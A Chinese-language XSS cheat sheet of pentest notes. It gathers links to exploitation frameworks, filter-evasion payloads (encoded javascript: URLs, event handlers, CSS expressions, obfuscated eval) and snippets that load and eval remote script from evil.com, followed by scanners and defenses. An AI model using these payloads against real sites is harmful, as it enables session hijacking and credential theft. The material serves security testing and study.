XSS Cheat Sheet

OWASP

XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

翻译
https://github.com/caomulaodao/XSS-Filter-Evasion-Cheat-Sheet-CN

XSS (Cross Site Scripting) Prevention Cheat Sheet

1
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS payload cheat sheet

印象笔记已备份
XSS cheatsheet Esp: for filter evasion
http://n0p.net/penguicon/php_app_sec/mirror/xss.html

Basic and advanced exploits for XSS proofs and attacks
http://brutelogic.com.br/blog/cheat-sheet/

XSS 利用框架

BeEF

BeEF (墙裂推荐)
http://beefproject.com/
https://github.com/beefproject/beef

BlueLotus XSSReceiver

https://github.com/firesunCN/BlueLotus_XSSReceiver

Xsser.me

国内常见平台

XSS Shell

XSS Shell
https://github.com/portcullislabs/xssshell-xsstunnell
http://www.freebuf.com/articles/web/24114.html

AttackAPI

AttackAPI (上古项目年久失修)
https://www.darknet.org.uk/2007/01/attackapi-20-alpha-javascript-hacking-suite/
http://netsecurity.51cto.com/art/200902/109480_all.htm

Anehta

Anehta (阿内塔)
作者是 吴翰清/道哥/刺/aullik5
http://anehta.googlecode.com/svn/
http://anehta.googlecode.com/svn/trunk

github 搜索 anehta
https://github.com/jwonline99/anehta

XCon 2008
http://www.slideserve.com/greg/anehta-xss

XSS Proxy

http://xss-proxy.sourceforge.net/

xssf

https://code.google.com/archive/p/xssf/downloads

XSS漏洞攻击测试平台—XSSF v3.0
http://www.freebuf.com/sectool/7902.html

XSS 的危害

  1. 弹登录框钓鱼,窃取用户凭证
  2. 获取cookie,登录受害者帐号,进而获取隐私。
  3. 劫持用户浏览器会话。
  4. 强制弹框广告,刷流量
  5. WebSocket 获取客户端 真实IP,开放端口
  6. 获取用户浏览历史
  7. 结合CSRF扩大战果
  8. 劫持大量用户后可以DDoS (分布式扫描器)
  9. 传播 XSS Worm

XSS 分类

反射型 XSS

容易出现在搜索栏,用户登录口等处。

存储型 XSS

一般出现在网站的 留言,用户反馈,评论,博客日志 等

DOM XSS

一般出现在含#的URL中。

几种常见的XSS注入位置

属性

构造思路

  1. 闭合属性
  2. 伪协议

script 标签内

普通的位置

绕过的技巧

1. JavaScript伪协议

可能支持伪协议的属性包括

1
2
3
4
5
6
7
href
lowsrc
bgsound
background
value
action
dynsrc

举例

1
<a href="javascript:confirm(1)">a</a>

2. 空格回车tab (低版本IE)

chrome 回车测试有效,其他无效。

1
2
<a href="javas
cript:confirm(1)">a</a>

3. HTML encoding

十进制 ASCII / 十六进制 ASCII 均可
需要注意的是,十六进制编码时不能省略分号,不然可能会被错误识别。
以下两个例子chrome均成功执行。

1
2
3
4
5
<a href="javascrip&#116&#58confirm(1)">a</a>
<a href="javascrip&#116;&#58;confirm(1)">a</a>
<a href="javascrip&#0000116&#000058confirm(1)">a</a>
<a href="javascrip&#0000116;&#000058;confirm(1)">a</a>
<a href="javascrip&#x74;&#x3a;confirm(1)">hex </a>

4. 事件触发

1
<img src=1 onerror=alert(1)>

可能触发的事件函数包括

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSyncRestored
onTimeError
onTrackChange
onURLFilp
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOfSync
onControlSelect
onLayoutComplete
onAfterPrint
onBeforePrint
onDataAvailable
onDataSetChanged
onDataSetComplete
onError
onErrorUpdate
onRowEnter
onRowExit
onRowsDelete
onRowsInsert
onSelectionChange
onBounce
onFinish
onStop
onResizeEnd

5. 利用CSS触发

XSS跨站脚本 P29

chrome 测试无效, 可能低版本IE有效。

1
2
3
4
5
<div style="background-image:url(javascript:alert(1))"> <span>I'm background</span> </div>
<div style="background-image:url(javascript:alert(1))">
<style>
body { background-image: url("javascript:alert(1)");}
</style>

还有

1
2
3
<style>
@import 'javascript:alert(1)'
</style>

6. 扰乱过滤规则

基本的payload

1
<script>confirm(1);</script>

大小写混淆

1
<sCriPt>confirm(1);</scRipT>

双引号/单引号/无引号

1
2
3
<img src="javascript:alert(1)">
<img src='javascript:alert(1)'>
<img src=javascript:alert(1)>

畸形payload

1
<img/src="javascript:alert(1)">

全角半角字符混合

1
2
<script>confirm(1);</script>
<script>confirm(1);</script>

掺入浏览器忽略的字符
样式表中浏览器会忽略/**/,\,\0

1
<div style="wid/****/th: expr/*askdjka*/ession(alert(1))">

CSS编码绕过方式

1
2
3
<p style="width: \65xpression(alert(1))">
<p style="width: \065xpression(alert(1))">
<p style="width: \000065xpression(alert(1))">

HTML注释字符解析异常

1
2
3
<!--<img src="--><img src=1 onerror=alert(1)//">
<comment><img src="</comment><img src=1 onerror=alert(1)//">
<style><img src="</style><img src=1 onerror=alet(1)//">

HTML encoding

1
2
3
4
5
<a href="javascrip&#116&#58confirm(1)">a</a>
<a href="javascrip&#116;&#58;confirm(1)">a</a>
<a href="javascrip&#0000116&#000058confirm(1)">a</a>
<a href="javascrip&#0000116;&#000058;confirm(1)">a</a>
<a href="javascrip&#x74;&#x3a;confirm(1)">hex </a>

7. eval 的一点姿势

1
2
3
4
5
eval(alert(1))
# 十六进制
eval("\x61\x6c\x65\x72\x74\x28\x31\x29")
# 十进制
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

8. IE 边缘技巧

P36
VBScript.Encode
JScript.Encode

9. 拆分跨站法

略 P37

挖掘邮箱系统XSS可以从CSS入手。

XSS EXP 开发的基本技巧

最基本的

1
<script src="http://evil.com/xss.js"></script>

DOM注入

1
2
3
var s=document.createElement("script");
s.src="http://evil.com/xss.js";
document.getElementByTagName("head")[0].appendChild(s);

eval + #

1
2
#alert(xss)
<script>eval(location.hash.substr(1))</script>

XSS Downloader

1
2
3
4
5
6
7
function downloader(){
a = new ActiveXObject('Microsoft.XMLHTTP');
a.Open('get', 'http://evil.com/payload.html', false);
a.send();
b = a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4),b.indexOf('|EOF')));
}

备选存储技术
cookie
Flash Shared Object
HTML5 localStorage

挖掘XSS的辅助工具

手动工具

  1. Firebug
  2. Tamper Data
  3. Live HTTP Headerss
  4. Fiddler
  5. BurpSuite

自动化/半自动化工具

1.AWVS

AWVS

2.XSSDetect (ASP白盒)

Visual Studio .NET插件 白盒方式

3.Ratproxy

https://github.com/wallin/ratproxy

http://sectools.org/tool/ratproxy/

4.Appscan

IBM最新XSS Analzyer将提供700万XSS漏洞利用规则
http://www.freebuf.com/news/4896.html

5.Xelenium

Xelenium, Security Testing with Selenium
https://sourceforge.net/projects/xeleniumsecurit/

XSS漏洞扫描器 – Xelenium
http://www.freebuf.com/sectool/5068.html

6.Ra2 DOM XSS Scanner

https://github.com/dpnishant/ra2-dom-xss-scanner

DOM-based XSS扫描工具-Ra.2发布
http://www.freebuf.com/sectool/5804.html

7.snuck

https://github.com/mauro-g/snuck

自动XSS过滤突破工具—snuck
http://www.freebuf.com/sectool/6009.html

Snuck:一款自动化XSS漏洞扫描工具(含下载)
http://www.freebuf.com/sectool/124845.html

8.X5S

使用Fiddler的X5S插件查找XSS漏洞
http://www.freebuf.com/articles/web/30960.html

9.OWASP_Xenotix_XSS

https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework

使用Xenotix_XSS框架进行自动化安全测试
http://www.freebuf.com/sectool/42722.html

10.Xsscrapy

https://github.com/DanMcInerney/xsscrapy

快速、直接的XSS漏洞检测爬虫 – XSScrapy
http://www.freebuf.com/sectool/43194.html

11.Xssaminer(PHP白盒)

XSSaminer

如何使用XSSaminer工具在PHP源码中挖掘XSS漏洞
http://www.freebuf.com/sectool/105888.html

12.BruteXSS

https://github.com/shawarkhanethicalhacker/BruteXSS
https://github.com/ym2011/penetration/tree/master/BruteXSS

BruteXSS:XSS暴力破解神器
http://www.freebuf.com/sectool/109239.html

13.GroundControl

https://github.com/jobertabma/ground-control
一款用于发现SSRF、XXE、XSS漏洞的小工具
http://www.freebuf.com/sectool/137367.html

XSS的防御

1. 过滤器

XSS过滤器 – DeXSS V1.2
http://www.freebuf.com/sectool/4056.html

XssHtml – 基于白名单的富文本XSS过滤类
http://www.freebuf.com/sectool/37106.html

Anti_XSS (Microsoft Anti-Cross Site Scripting Library)

2. WAF

云WAF与本地WAF

3. http only

有HTTP Only 标记的cookie字段,在浏览器中是无法通过JavaScript读取的。
一定程度上防御了XSS.

4. 客户端防御 Noscript

Noscript插件

其他参考资料

说一说新手在寻找XSS时所存在的一些误区
http://www.freebuf.com/articles/web/6389.html

XSS跨站脚本 攻击剖析与防御 邱永华

渗透测试视角的XSS

把能跑的自动化挖掘工具都试验一下。
之后再找几个潜在盲打点扔一把payload。
这样对于大多数普通要求的渗透测试而言一般是足够了。

其他漏洞案例

金融系统的XSS挖掘

小猪理财搜索处DOM型XSS
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27457&page=1&extra=#pid370200